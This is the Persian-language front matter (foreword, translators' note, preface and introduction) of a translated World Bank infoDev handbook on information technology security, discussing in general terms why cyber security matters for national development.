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  گفتار پيش

در دوران ماقبـل تـاريخ، امنيـت        . شده براي بـشر بـوده و هـست         دنياي واقعي مفهومي حياتي و كاملاً شناخته       مفهوم امنيت در  
 كه عبارت بود از اصول حفظ بقا نظير امنيت در برابر حملة ديگران يا حيوانات و نيـز امنيـت                     شد  فيزيكي را شامل مي    مفهومي كاملاً 

در برابر حوادث طبيعي يا بيماريها و در اختيار داشتن مكاني براي زندگي و استراحت               بتدريج نيازهاي ديگري چون امنيت      . تأمين غذا 
بـسيار  گيـري جوامـع، محـدودة امنيـت ابعـاد             با پيـشرفت تمـدن و شـكل       . بدون مواجهه با خطر به نيازهاي پيشين بشر افزوده شد         

ز اموال عمومي، و همچنين تعريف قلمروهاي ملي و          اموال و حقوق شخصي افراد از يكديگر و ا         ةتري يافت و با تفكيك حوز       گسترده
المللي، بتدريج مفاهيم وسيعي مانند حريم خصوصي، امنيت اجتماعي، امنيت مالي، امنيت سياسي، امنيت ملي و امنيت اقتـصادي       بين

 تحقق و دسـتيابي بـه آنهـا    شدند، ولي عمدتاً اين مفاهيم گرچه ديگر كاملاً محدود به نيازهاي فيزيكي بشر نمي         . را نيز شامل گرديد   
  .هاي واقعي و فيزيكي بود از محيطمستلزم وجود و يا استفاده 

كه بسياري از مناسبات و معـادلات        ي بوده  تحولات چشمگير  ةعرصهاي اخير و بويژه در پنج سال گذشته           ليكن جهان در دهه   
فنـاوري اطلاعـات و ارتباطـات       كـاربري وسـيع از      اين تحولات كه با محوريت      .  است پيشين را بطور اساسي دستخوش تغيير نموده      

وري آغـاز گرديـده و اكنـون بـا تكامـل              و افزايش بهره   (Automation)از كاربرد رايانه به عنوان ابزار خودكارسازي        شده،  پذير  امكان
 بـه   . است ون ساخته زندگي فردي و اجتماعي بشر را دگرگ       عملاً   ،(Collaboration)افزائي مشاركتي     كاربري آن در ايجاد فضاي هم     

ثير شگرفي بر سرنوشت انسان برجاي گذاشته که مـورخين    أباور بسياري از صاحبنظران همانگونه که پيدايش خط و کتابت آنچنان ت           
 ورود بـه فـضاي مجـازي        ،قبل تاريخ و تـاريخ تقـسيم نماينـد         اين کره خاکي را به دوران ما       را برآن داشته تا داستان زندگي بشر بر       

 ة شـيو  عصر اطلاعـات   انقلاب   ، بنحوي كه   جديدي از تمدن بشري را رقم زده       ةاوري نوين اطلاعات و ارتباطات نيز دور      حاصل از فن  
  . دگرگون ساخته است ورزي را  عشقداري و دين جنگ و حتي، ارتباط، مديريت، تجارت، مصرف، توليد،انديشه

از مهمترين آنها بوجود آمدن مفاهيم نوين امنيـت مجـازي يـا             همراه داشته كه     اين تحول بزرگ الزامات و تبعات فراواني را به        
اي  گروهي بـه شـبكه   كوچـك كـار  ة از يـك شـبك  "يا رايانـه ةشبك" كه در اطلاق عبارت تغييريبا . باشد امنيت در فضاي سايبر مي 

ي صـورت   اهـاي رايانـه     كه و با توجه به رشد روزافزون تعاملات و تبـادلاتي كـه روي شـب               ،واقع گرديده ) اينترنت( جهاني   گسترده و 
 الكترونيكي جهت ضمانت مبادلات و ايجاد تعهد قانوني براي طرفهاي دخيل در مبادلـه  هاي حفاظت و امنيت   نظامپذيرد، نياز به      مي

 تررتعهدآو روشهاي سنتي عقود متداول و    حتي از   كه  ي  يو ابزارها  ها، استانداردها روشي مشتمل بر قوانين،     يها   نظام .بسيار حياتي است  
   .دن تضمين نماي بيش از پيششده رابوده و ضمناً امنيت و خصوصي بودن اطلاعات حساس مبادله

اي و فراگيـر از       هاي مجازي همواره بعنوان يكي از زيرساختها و الزامات اساسـي در كـاربري توسـعه                 امنيت اطلاعات در محيط   
ICT   ولـي ايجـاد    نيـافتني اسـت،    واقعي و چه در فضاي مجازي دستچه امنيت مطلق چه در محيطگر.  استگرفته مورد تاكيد قرار

پـذير  يباً در تمامي شرايط محيطـي امكان      گذاري انجام شده باشد تقر      ها و سرمايه    سطحي از امنيت كه به اندازة كافي و متناسب با نياز          
ضـمن  ي و ارگانهـاي دولتـي    شركتهاي خـصوص  ،اشخاص حقيقي، سازمانها  تنها با فراهم بودن چنين سطح مطلوبي است كه          . است

در يك تبادل الكترونيكي دخيل هستند و احتمـالاً هيچگـاه يكـديگر را نديـده و              همگي   طرفهاي گوناگوني كه     بهاعتماد و اطمينان    
  . افزا را ايفا خواهند نمود اي مؤثر از اين شبكه متعامل و هم نقش مورد انتظار خود بعنوان گره ،شناسند نمي

 قفـل  کليـد  ، كشور گذشته از ابعـاد گـسترده امنيـت ملـي     سرمايه های اطلاعاتی و تجهيزات زيرساختيودنباطمينان از ايمن  
عـدم دسترسـی بـه    رودرروي كـشور  چـالش امنيتـی   آنچه مسلم است    .  و غيرتجاری جديد اينترنتی است     تجاریشمار   فرصتهای بی 

 و نيز سازگاری  موجودمنابعمناسب از   وري  سازي، بهره   هنگ، فر ، بلکه سياستگذاري   نيست وجود محصولات امنيتی   و يا عدم     فناوري
 ضـروري  ه در اين راستا توجه بـه ايـن نكت ـ      .مين کند أرا ت و فضاي ديجيتالي كشور     فرد شبکه     که نياز منحصربه    است ای آنها به گونه  
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 راهنماي امنيت فناوري اطلاعات ٨

 مختلـف اعـم از ملـي و    است كه معماري امنيت اطلاعات فرآيندي از فرآيندهاي جاري در معمـاري فنـاوري اطلاعـات در سـطوح            
 مهم ديگر حاصل از تجـارب كـشورهاي         ةنكت. سازماني است كه در اين فرآيند به تناسب و نياز از ابزارهاي لازم استفاده خواهد شد               

ها هـم    اين همكاري  .هاي گسترده در اين زمينه دارد     اي فرابخشي است و نياز به همكاري       پيشرو حاكي است كه امنيت اطلاعات مسأله      
 نكات مهمي است كه در اين       ها از  وظايف و مسئوليت   ،هاتعيين نقش .  مورد توجه قرار گيرد    المللي بايد ح ملي و هم در سطح بين      در سط 
  .ها بايد تعريف شوندهمكاري

اميد است كه به موازات توسعه سـريع        . كشداي از امنيت ملي هر كشور را به تصوير مي         امروزه امنيت فضاي ديجيتال وجه تازه     
هاي ة تكفا، با شناخت و تعيين زيرسـاخت        فناوري ارتباطات و اطلاعات در زيربخشهاي مختلف در پوشش برنام          گوناگونهاي    يكاربر

گذاري مناسب جهت حفاظت از ايـن         دهي و سرمايه  ريزي، سازمان دارند و سپس برنامه   كليدي كشور كه وابستگي حياتي به اطلاعات        
 .محور هموار گردد يي داناة در دستيابي به جامع كشورةجانب  همهةزيرساختها، مسير توسع

ت دولـت  أدر هي ـ) تكفا( و كاربري فناوري اطلاعات و ارتباطات  ة توسع ةخوشبختانه در طي سالهاي اخير و پس از تصويب برنام         
اي تمهيـد   هاي فنـي بـر    شـته، مطالعـات و بررسـي       و بينش مديريت ارشد كشور در رويكرد نوين به توسعه كشور دا            توجهكه نشان از    

نتـايج مطالعـات كـارگروه مـرتبط، منجـر بـه            . اسـت اي آغاز شده و رشد سريعي يافته        هاي رايانه   نيازهاي امنيتي و امنيت در محيط     
 امنيـت   عـالي   شـوراي ت محترم دولت و رئيس محترم جمهـور،         أهاي وسيعتر نياز گرديد و بر اين اساس با تصويب هي          شناخت زمينه 
ها  بزودي نتايج بررسي   اللهنتي كشور با مسئوليت معاون اول محترم رئيس جمهور آغاز به كار كرده است و انشاا               اي و اينتر  محيط رايانه 

  .گردداي كشور اعلام ميو تصميمات در قالب دستورالعملها و سند ملي امنيت فضاي رايانه

 ـ    فعاليتهاي مربوط تلاش دارد تا با ته       ةرساني در ادام     اطلاع عالي  شوراي ةدبيرخان ليف مطالـب فنـي در محـيط    أيـه، ترجمـه و ت
كتاب حاضر از جمله اسناد بسيار مفيد، جـامع  .  فناوري اطلاعات اقدام نمايديمناسب نسبت به تقويت دانش  موجود كشور در قلمرو 

  . گردد كشور هديه ميICT اندركاران اي است كه به دستو متأخر در قلمرو امنيت فناوري رايانه
  

  نصراالله جهانگرد
  رساني و  اطلاععالي شورايدبير 

  نماينده ويژه رئيس جمهور
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  نييادداشت مترجم

استفادة درست از اطلاعات صحيح، يكي از نيازهاي بسيار مهم براي دستيابي سـازمانها بـه اهـداف سـازماني اسـت و قابليـت                     
سـازي  مزايـاي ذخيـره  . ارآيي آنهـا هـستند  هاي بسيار مهم در ک ـ     اطمينان، يكپارچگي و در دسترس بودن اين اطلاعات، از مشخصه         

اي و بـويژه      هـاي رايانـه     ها در اهداف تجاري را نـاگزير کـرده و اسـتفاده از شـبكه              اطلاعات بصورت الكترونيكي کاربرد وسيع رايانه     
ه اندازة يك سـر     اينترنت، تغييرات اساسي را در روند كسب و كار بوجود آورده و باعث شده که حجم بسيار زيادي از اطلاعات تنها ب                     

اي انگشت با ما فاصله داشته باشند؛ و ناگفته پيدا است که در ايـن محـيط پيچيـده بـا ايـن ارتباطـات وسـيع، مخـاطرات گـسترده                             
  .کننداي، سيستمهاي اطلاعاتي، و فعاليتها و زيرساختهاي حياتي وابسته به آنها را تهديد مي سيستمهاي رايانه

شوند، اطلاعات مختلف با حساسيتهاي کم و زيـاد         ي بيشتر و بيشتر بصورت الکترونيکي جابجا مي       در دنياي امروز، اعتبارات مال    
گردنـد، و  تر بـا دنيـاي بيرونـي مـي    تر و مرتبطاي با سرعت بسيار زيادي پيچيدههاي رايانهشوند، سامانه منتقل مي هاشبکهاز طريق   

يش از هر زمان ديگري در دسترس ماجراجويان و جنايتکاران دنياي مجازي قرار پذيريها ببرداري از آسيبابزارهاي سادة نفوذ و بهره   
  .دارد؛ و هريک از اين عوامل خود به تنهايي دليل محکمي براي جدي گرفتن موضوع امنيت است

طلاعـات  دستکاري ا خرابکاران هستند؛ تهديداتي چون     اکثر قريب به اتفاق سازمانها در معرض انواع تهديدات داخلي و خارجي             
توانند از مزايـاي سيـستمها بـه شـمار        در چنين شرايطي، عواملي كه مي     . هاي اطلاعاتي مرجع و يا سرقت اطلاعات حياتي و سرمايه       

پذيري شوند و سوء استفادة افراد بدنيت         ، اگر تحت کنترل نباشند ممکن است باعث بروز آسيب         ) دسترسي بالا  قابليتمثل سرعت و    (روند  
علاوه بر اين، مشكلات طبيعـي و خطاهـاي غيرعمـدي كـه توسـط              .  و خرابكاري، كلاهبرداري، و يا اخاذي بيانجامد       از آنها به نفوذ   
  .تواند نتايج مخربي به بار آورد دهد، درصورت فقدان روالهاي صحيح براي حفاظت از اطلاعات مياي رخ مي كاربران رايانه

دنياي مجازي بر پيچيدگي کار دولتهـا بـراي تـأمين امنيـت زيرسـاختهاي         در کنار همة اين مسائل، موضوع جرائم سازمانيافتة         
افزايد، و اهميت سوء استفاده از منابع دولتي، اهميت پرداختن صحيح و مؤثر آنها به موضـوع امنيـت را دو      حياتي خدمات عمومي مي   

، كـرم و حمـلات تخريـب     وسـط ويـروس  آخرين آمارهاي جهاني از رخدادهاي پايگاههاي وب دولتي و تجاري كه ت    . کندميچندان  
طبق تخمين دستگاههاي امنيتي ايـالات متحـده        . كشد  پذيري اين سيستمها را به خوبي به تصوير مي          سرويس بوقوع پيوسته، آسيب   

امنيـت  دار شـدن   ضـررهاي ناشـي از خدشـه   ۲۰۰۳، تنهـا در سـال   )شود فناوريهاي اطلاعات و ارتباطات شناخته ميةکه بعنوان پيشرو در حوز    (
  . ميليارد دلار برآورد شده است۱۰سازمانها بالغ بر 

تي اجتناب ناپـذير بـراي سـازمانها محـسوب     ر ضرو، و اجراي تدابير امنيتي در قبال اين تهديدات گستردهتدوينبا اين اوصاف،   
يزان خسارتهاي وارده را در حـد       توانند احتمال وقوع مخاطرات را به حداقل برسانند، درصورت وقوع آنها م           تدابير مناسب مي  . شودمي

-بسيار ناچيزي نگه دارند، و قابليت واکنش سريع و مؤثر بوجود آورند تا سازمانها براي ترميم خسارتها از فرآيندهاي از پـيش تعيـين                       
  .تر تداوم يابد و ايمني اطلاعات افزايش يابد و کسب و کار با خيالي آسودهوري بهرهشده استفاده کنند تا 

پس از درک ضرورت پرداختن به موضوع امنيت، به سفارش بانک جهـاني و توسـط گـروه                  "  امنيت فناوري اطلاعات   راهنماي"
infoDev)   و به عنوان تلاشي براي ارتقاي سطح امنيت فناوري اطلاعـات در کـشورهاي عـضو در      ) هاي بانک جهاني  يکي از زيرمجموعه

 ۲۰۰۳در سـوئيس، در دسـامبر سـال    ) WSIS(جلاس نخست سران جامعة اطلاعاتي بار در االمللي تدوين و براي اوليناين نهاد بين 
هـا، و مـستندات تخصـصي زيـادي از          محتويات اين کتاب حاصل بررسي کتابهـا، مقـالات، رسـاله          . کنندگان توزيع شد  ميان شرکت 

آمـده اسـت کـه      ) پيوسـتها  (فهرست کاملي از اين مراجـع در بخـش شـشم          . کارشناسان و متخصصين اين حوزه در سراسر دنيا است        
  .توانند با مراجعه به آنها از آخرين نکات و موضوعات نيز آگاهي يابندخوانندگان محترم مي
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 راهنماي امنيت فناوري اطلاعات ١٠

هاي فني مديريتي آنها را نيز  اي از تعاريف و راهکارهاي امنيت عمومي را ارائه کرده، جنبه           بر اينکه مجموعه   علاوهکتاب حاضر   
اي عنوان شوند کـه فهـم و درک         ليه و همچنين ترجمة آن تلاش شده تا حد امکان مطالب بگونه           مدنظر قرار داده است و در متن او       

) خصوصاً مـديران (اي از کاربران فناوري اطلاعات      آنها نياز به دانش اختصاصي در اين حوزه نداشته باشد و بتواند به کار جامعة گسترده               
  .مدت مورد استفاده قرار دادهاي کوتاهدورهي آموزشي سمينارهارا در آنتوان سرفصلهايي از ميو لذا  ،بيايد

در سطح جهاني، کتابهاي متعددي در حوزة امنيت فناوري اطلاعات و ارتباطات منتشر و بتـازگي تعـدادي از آنهـا نيـز توسـط                         
انـد، فاقـد نگـاه    ختـه مترجمان باتجربه و يا جوان به فارسي ترجمه شده، اما معمولاً چون به موضوعي تخصصي در زمينة امنيت پردا     

کتابي که پيش روي شما است، با نگاه کلان به موضوع امنيت، کوشيده مفاهيم مطـرح در                 . کلان و مديريتي به اين موضوع هستند      
هاي فني نيز غافل نشده، هرچند هيچگاه آنچنان وارد مسائل        هاي آنرا شرح دهد، و آنجا که لازم بوده از بررسي جنبه           هريک از حوزه  

  .نگري خود را از دست داده باشد، و اينکار را به کتابهاي تخصصي امنيت واگذار کرده استده که کلانفني نش

اند تا در انتقال مفاهيم و نکات اين کتاب، حفظ امانت نمايند و هيچگاه معاني را فـداي الفـاظ                 اثر همواره کوشيده   اينمترجمان  
 ساير عنـاويني کـه بـراي     .آور است فرسا و مسئوليت  کاري طاقت اند، که   سازي نموده سازي يا معادل  نکرده و در بسياري از موارد واژه      

 خواننـدگان محتـرم اعـم از     واريم اميـد  .انـد آنها معادل فارسي يافته و يا ساخته نـشده نيـز بـصورت اصـلي در ترجمـه تکـرار شـده                     
ت خود ما را در رفـع لغزشـها و کاسـتيهاي احتمـالي ايـن            مندان با ارائه پيشنهادات و انتقادا     صاحبنظران، اساتيد دانشجويان، و علاقه    

  .کتاب آگاه سازند تا در صدد رفع آنها برآييم

با اصطلاحات امنيتـي  اند و هنوز    مند شده تازگي به مقولة امنيت اطلاعات علاقه     ه  ببراي جلوگيري از سردرگمي خوانندگاني که       
 از لغات و اصطلاحات رايج امنيتي که در کتاب از آنها استفاده             يفهرستاي کتاب   در انته ندارند،  چنداني  و معادلهاي رايج آنها آشنايي      

جـز  الگوبرداري شـده و  کتاب   اصلي   نسخةآرايي کتاب نيز از     صفحهدر  . رفته براي آنها تعبيه شده است      بکار شده و نيز معادل فارسيِ    
از ساير بخشها   در   -  صفحه براي متن استفاده شده است      يزياد، از تمام فضا   برنامه  و متن متون فني   وجود  بدليل  که   -پنجم  بخش  
  .شده استآرايي دوستوني استفاده صفحه

تهيـة  در  خانم مريم افتخاري و آقايان محمدمهدي جاقوري، افشين لامعي، و نيما لطفي کـه               دانيم از    لازم مي  خوددر پايان بر    
 ارائه نظرات کارشناسي و راهگـشاي خـود بـه مـا در انجـام اينکـار                  کلية اساتيد و صاحبنظراني که با      ،متحمل زحماتي شدند  اين اثر   

رسـاني کـه    دلگرمي دادند، کلية همکاراني که به نوعي در تهيه و تنظيم اين اثر نقش داشتند، و نيز دبيرخانة شـوراي عـالي اطـلاع                       
  .دار شد صميمانه تشکر نماييمزحمت چاپ و نشر اين کتاب را عهده

  .واند اثري هرچند جزئي در سير پيشرفت و توسعة کشور در مسير نيل به ايراني آباد، آزاد و سرفراز مؤثر افتداميد آنکه اين مکتوب بت
  
  

  نيگروه مترجم
  ۱۳۸۴ تابستان
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  ديباچه

ي اخيـر   هاطي سـال  .  تأمين شده است   ١گروه بانك جهاني   infoDevطرح  كلية اعتبارات مربوط به تهيه و تدوين كتاب حاضر از           
 واقـع شـده   infoDev٣ فنـي   ةگروه مشاور  به اهميتي ويژه دست يافته و به همين دليل مورد توجه             ٢نيت فناوري اطلاعات  امموضوع  

 دبيرخانـة ايـالتي امـور اقتـصادي سـوئيس     بذل توجه به دليل   دانيم كه مراتب تشكر و امتنان خود را           خود لازم مي   در اينجا بر  . است
(SECO)اين پروژه، بلكه بخاطر درك فوريت مسئله و به ثمر رساندن اين كتاب اعلام نمائيمتنها بخاطر تأمين اعتبار  نه٤.  

كند، ولي اين نكته را نيز نبايد از نظـر             نقش مهمي در توسعة اقتصادي و اجتماعي ايفا مي         ٥(ICT) فناوري اطلاعات و ارتباطات   
بنـابراين امنيـت   .  فناوري اطلاعات و ارتباطات ناشدني است محيط ناامن و غير قابل اطمينان، استفادة مؤثر از    يكدور داشت كه در     
ي ملي فناوري اطلاعـات و  ها سازي موفق طرح كننده در ايجاد شرايط لازم براي پياده داراي نقشي اساسي و تعيين   فناوري اطلاعات 

ورش، بهداشـت يـا امـور مـالي و          هـاي آمـوزش و پـر        هايي در زمينه    ارتباطات، دولت الكترونيكي، تجارت الكترونيك و اجراي پروژه       
  .اعتباري است

-مؤلفين در اين كتاب توانسته    . اي است و تقريباً همگام با فناوري در حال تكوين است            امنيت فناوري اطلاعات موضوع پيچيده    
نندگان همچنـين  خوا. ي ويژة فناوري اطلاعات ارائه دهند ها   براي محيط  - مستقل از فناوري     -اند بهترين راهكارها و پيشنهادات را       

روز و مناسب دست يابنـد و از طريـق ايـن جريـان                 به اطلاعات به   www.infodev-security.net با مراجعه به پايگاه وب       توانندمي
  بــا توجــه بــه اينكــه مطالــب . ي جديــد در زمينــة امنيــت فنــاوري اطلاعــات بــاخبر شــوند هــا  از پيــشرفت، ثابــترســانيِاطــلاع
كند، بنظر ما استفاده از ايـن كتـاب در كنـار               يا گروه بانك جهاني را منعكس نمي       infoDevهاي    وماً ديدگاه شده در اين كتاب لز    ارائه

 .امنيت فناوري اطلاعات در سراسر جهان نمايدموضوعات مرتبط با تواند كمك بزرگي به فهم  پايگاه وب مربوط به آن مي

اي   پـس از مقدمـه    . د گيـر  اند بصورت جداگانه مورد مطالعه قرار     تو   متشكل از پنج بخش است كه هريك از آنها مي          حاضركتاب  
ي ها، سـازمان  اربران انفـرادي  ك ـكرد كه بـراي       كوتاه بر عناوين عمومي امنيت فناوري اطلاعات، به مطالب و مباحثي برخورد خواهيد            

 دربـارة امنيـت فنـاوري     و مقـالات منتـشر شـده   هاهرچنـد بيـشتر پژوهـش   . كوچك و متوسط، دولت، و راهبران فني مناسب هستند  
هاي عملي و كارآمدي ارائه دهنـد كـه         مشيشود، ولي تلاش مؤلفين بر اين بوده كه خط          يافته پيدا مي  اطلاعات در كشورهاي توسعه   

 .در كشورهاي درحال توسعه نيز قابل استفاده باشد

ملي از پيـشرفت همزمـان راهكارهـا و فنـاوري      اين كتاب و آغاز بكار پايگاه وب آن نقطة آغاز يك فرآيند تعـا          انتشاراميدواريم  
باشد؛ و در اين راه آنچه بيش از همه اهميت دارد اين است كه خوانندگان محترم كتاب، شيوه و راهكارهاي مناسب و كارآمد خود را                         

  .در اختيار ديگران نيز قرار دهند
  

Mohesn A. Khalil   :   جهاني گروه بانك-المللي   بينفناوري اطلاعات و ارتباطاتمدير بخش   
Burno Lanvin    :  ةمدير برنام infoDev -جهاني گروه بانك   

Michel A.Maechler     :    گروه بانك جهاني-مدير تقسيم وظايف گسترش اطلاعات، كارشناس ارشد انفورماتيك   

                                                                                                                                            
1  infoDev Program of the World Bank Group 
2  IT Security 
3  infoDev Technical Advisory Panel 
4  State Secretariat of Economic Affairs of Switzerland 
5  Information & Communication Technology 
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  درآمدپيش

سـير پيـشرفت فنـاوري اطلاعـات و ارتباطـات و نوآوريهــاي      
وري و پيـدايش      يش چـشمگير بهـره    حاصل از آن موجب افزا    

بــا بهبــود . انــواع جديــدي از كالاهــا و خــدمات شــده اســت
روزافزون قدرت، ظرفيت و قيمت تجهيزات ميكروالكترونيكي       

وري نـسبت بـه        درصـدي بهـره    ۳۰كه به رشد سالانة تقريباً      
قيمت منجر شده، امكان استفاده از اين فنـاوري بـراي همـه             

كنـيم كـه    ر دنيـايي زنـدگي مـي      امروزه ما د  . ميسر شده است  
هاي ارتبـاط تلفنـي رو    پردازش اطلاعات در آن ارزان و هزينه 
اي در تبـادل و تعامـل         به كاهش است و جهان بطور فزاينـده       

  .باشدمي

اما فراهم شـدن امكانـات فنـي جديـد تنهـا باعـث پيـدايش                
محصولات نوين و راههاي بهتر و كارآمدتر براي انجام امـور           

ر كنار آن امكان سوء اسـتفاده از فنـاوري را نيـز    نشده، بلكه د 
 نيـز هماننـد     فناوري اطلاعات و ارتباطات   . افزايش داده است  

اي مـورد   توان آنرا بگونه  ساير فناوريها حالت ابزاري دارد و مي      
استفاده قرار داد كه براي همگان مفيد باشد و يا به نحـوي از              

عامل سـرعت   . وردآن استفاده كرد كه نتايج خطرناكي به بار آ        
 چيزي در حـدود ميكروثانيـه       فناوري اطلاعات و ارتباطات   در  

شود اطلاعات غيرقابل مـشاهده بـا چـشم         است كه باعث مي   
شده توسط افـراد جابجـا      افزار تهيه   غيرمسلح، تحت كنترل نرم   

 در چنين فضايي اعمال غيرقانوني و مخرب آنقدر سريع          .گردد
 هرچند  -بل شناسايي باشد    تواند غيرقا گيرد كه مي    صورت مي 

 .شناسايي آن غير ممكن نيست

مشكلات مربوط به امنيت سيستمهاي اطلاعاتي، فرآينـدهاي       
ــه شــكل    ــره و ارســال اطلاعــات ب ــا و ذخي ــه آنه ــسته ب واب

ــازه  سيــستمهاي تجــاريِ .اي نيــستند الكترونيكــي مــسائل ت
 سيـستمهاي   .اي نزديك به پنجـاه سـال قـدمت دارنـد            رايانه

يز انتقال الكترونيكي پول را تقريباً در همان زمـان          بانكداري ن 
  .اندآغاز كرده

در اين سيستمهاي تجاري، براي ارتكاب جرم از طريق نفـوذ           
هـاي قـوي    اي و سيستمهاي مالي انگيـزه       هاي رايانه   به شبكه 

در واكنش به افـزايش احتمـال انجـام فعاليتهـاي           . وجود دارد 

تـر در عرصـة       يتـي قـوي   تبهكارانه و براي تهية معيارهاي امن     
اي اطلاعات    ارتباطات و پردازش، طرحهاي تحقيقات و توسعه      

  .آغاز شده است

انقـلاب  . انـد   قرن اخير بسياري از مـسائل تغييـر كـرده         در نيم 
 ميلادي شروع شـد     ۷۰هاي شخصي كه در اواسط دهة         رايانه

هايي با اندازه و قـدرتي قابـل          درحال حاضر موجب شده رايانه    
 .دسترس صدها ميليـون نفـر قـرار داشـته باشـند           ملاحظه در   

هـاي شخـصي      علاوه بـر آن اينترنـت و ديگـر انـواع شـبكه            
اي را ميـان بـسياري از مـردم امكانپـذير             ارتباطات بين رايانه  

بيست و پنج سال پيش كـار بـا رايانـه و برقـراري              . اند  ساخته
ارتباطات عموماً توسط تعداد كمي از كارشناسـان ايـن رشـته            

پذيرفت؛ اما امـروزه صـدها ميليـون رايانـه بـراي              يصورت م 
روند و توسط   پردازش هرگونه اطلاعات قابل تصوري بكار مي      

. شوند  يك شبكة ارتباطي قوي بنام اينترنت به هم متصل مي         
اين شبكه موجب گسترش ارتباطات مردمي از طريـق پـست           
الكترونيكي و قابليت ارسال پيام فوري شده و همچنين امكان   

رسي آسان و نسبتاً ارزان بـه مفـاهيم ديجيتـالي و اسـناد              دست
تجهيزات فني و محصولات درحـال سـاخت را بوجـود آورده            

بديهي است كه به تناسب پيشرفت فناوري، مـشكلات         . است
 ۷۰اي دهة     هاي رايانه   عمدة كاربران شبكه  . شود  نيز بيشتر مي  

حـال  دادنـد؛  اي رايانه تشكيل مي ميلادي را كارشناسان حرفه 
اي هـستند و لـذا        آنكه امروز بيشتر كاربران از افراد غيرحرفـه       

ممكن است عدم اطلاعـات كـافي آنـان باعـث شـود كـه از                
افزاري ايمن استفادة مناسب نكننـد و درنتيجـه           هاي نرم   بسته

اي صـرفنظر از محـل جغرافيـايي          نفوذگران و تبهكاران رايانه   
ز آن سـوء اسـتفاده      خود و يا كاربر بتوانند به سيستم حمله و ا         

  .نمايند

كنيـد   اگر در منزل و يا محل كار خـود از رايانـه اسـتفاده مـي      
ايـن  . مسئوليت حفاظت از اطلاعات آن بر عهـدة شـما اسـت          

كند كه جزئيات فني و نحوة كاركردن         كتاب به شما كمك مي    
هـاي متـصل بـه هـم را           اي از رايانـه     با يك رايانه يـا شـبكه      

ايـن  .  امنيت وظيفة هر فرد اسـت       تلاش براي حفظ   .بياموزيد
تواند يك كاربر عادي، كارشناس فني، راهبر سيـستم،           فرد مي 

 .راهبر شبكه، و مدير يك سيستم يا شـبكه در سـازمان باشـد        
شـود اقـدامات ضـروري و         توجه به اهميت امنيت باعـث مـي       

بخشي براي حفاظـت از سيـستمها صـورت پـذيرد و            اطمينان
 از سياستهاي امنيتي، گام مهمـي       اي مؤثر استفاده از مجموعه  

در آنـصورت در بيـشتر      . در جهت اطمينان از اين مسئله است      
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ها و اطلاعات شما از دسترسيهاي غيرمجاز ايمـن           موارد رايانه 
خواهند بود و خواهيد توانست اطلاعات خود را بـصورت امـن            

  .در شبكه با سايرين مبادله كنيد

ز فنـاوري اطلاعـات و      تهيه شد كه اسـتفاده ا       اين كتاب زماني  
 اجتماعي بـه اوج خـود رسـيده      -ارتباطات در توسعة اقتصادي   

 سـال يـا بيـشتر در غالـب          ۴۰بود و علاوه بـر آن بـه مـدت           
رسـاني    اي يا عملياتي كه توسط مراكز كمك        طرحهاي منطقه 

اين بـاور   . رفتشدند بكار مي  دومنظوره يا چندمنظوره اجرا مي    
 يك موضوع مهـم و حيـاتي        فناوري اطلاعات و ارتباطات   كه  

اي اسـت موضـوعي     براي آغاز بسياري از فعاليتهـاي توسـعه       
انـدازي شـبكه جهـاني      باشد و شروع آن بـه راه       نسبتاً تازه مي  

 ايـن موضـوع     .گردد   ميلادي باز مي   ۹۰اينترنت در اوايل دهة     
براي اولين بار در يـك مؤسـسة چنـدمنظوره توسـط برنامـة              

infoDevمــيلادي ۱۹۹۵ در ســال  در گــروه بانــك جهــاني 
رسماً اعلام شد و از پشتيباني فكري رئيس وقت بانك جهاني      

گـذاري  اشـتراك   برخوردار بود كه بر اهميت بـه       ١جيمز ولفسن 
 اجتمـاعي   -اطلاعات براي نيل به اهـداف توسـعة اقتـصادي         

بيني نـسبت بـه        از آن زمان به بعد خوش      .تأكيد زيادي داشت  
بـه  ر شـد كـه بخـشي از آن           اجتماعي بيشت  -توسعة اقتصادي 

  .توسعة فناوريهاي ارزان در سراسر جهان بوددليل 

كميتـة كـاري    ،  G8 كـشورهاي عـضو گـروه        ۲۰۰۱در سال   
 كميتــة .ريــزي كردنــد  را پايــه٢)DOT (فرصــتهاي ديجيتــالي

DOT              نتايج كار خود را طي گزارشي ارائـه نمـود و خواسـتار 
 همـة آنهـا      شد كه  ٣طرح اجرايي ژنو   موضوع در    ۹قرارگرفتن  

 بــه تأييــد و امــضاي ۲۰۰۱در اجــلاس ســران ژنــو در ســال 
 DOT اعــضاي اصــلي كميتــة . رســيدندG8رهبــران گــروه 

 و دولتهـاي كـشورهاي درحـال        G8سهامداران اصلي گـروه     
توسعه، بخشهاي خصوصي و غيرانتفاعي و همچنين انبـوهي         

 بنـد   ۷ گزارش مزبـور شـامل       .المللي هستند   از سازمانهاي بين  
ــا ــة   عملي ــراي ايجــاد جامع ــاتي ب ــوان موضــوعات حي تي بعن

  :باشد اطلاعاتي مي

  پشتيباني از سياستها )۱
  ارتقا و بهبود دسترسي )۲
 توسعة منابع انساني )۳

                                                                  
1  James Wolfensohn 
2  Digital Opportunity Taskforce Group 
3  Genoa Plan of Action 

  پرورش كارآفرينان و فعاليتهاي كارآفريني )۴
مشاركت كشورهاي درحال توسعه در كنفرانسهاي  )۵

   اطلاعاتفناوريالمللي در زمينة  بين
  ت و سلامت در بهداشفناوريكاربرد  )۶
  افزارهاي كاربردي و مفاهيم محلي نرم )۷

 دبير كـل    ICTكميتة اجرايي   يكي از نتايج اين گزارش ايجاد       
تـوان بـه تـشكيل         بود و از ديگر نتـايج آن مـي         ٤مللسازمان  
 بـا اسـتفاده   ٥المللي پيشگامان فرصتهاي ديجيتال بين  مؤسسة  
.  كرد  اشاره ٨ماركل بنياد و   ٧آكسنچر بنياد،  UNDP٦از اعتبار   

همچنين درحـال حاضـر مؤسـسات دومنظـوره در طرحهـاي            
اي خــود توجــه روزافزونــي بــه فنــاوري اطلاعــات و  توســعه

 نيز UNESCO و ITUپس از آن .  دهند ارتباطات نشان مي 
طرحهايي را براي برگـزاري دو اجـلاس جهـاني بـا نامهـاي              

 در ژنــو ٩)WSIS (اجــلاس جهــاني ســران جامعــة اطلاعــاتي
  .ارائه كردند) ۲۰۰۵آوريل (و تونس ) ۲۰۰۳دسامبر (

تواند بـه شـكل غيرمـستقيم          مي فناوري اطلاعات و ارتباطات   
 اي هـزاره    اهداف توسـعه  بسياري از فعاليتها را در دستيابي به        

)MDG(سياســتهاي اصــلي تــأمين امنيــت . پــشتيباني كنــد١٠ 
سـازي آنهـا در يـك كـشور باعـث              اطلاعات و پيـاده    فناوري

گـذاري مـستقيم خـارجي در آن كـشور            يهتقويت جريان سرما  
گذاريها به فراهم شدن اعتبـار بـراي          خواهد شد و اين سرمايه    

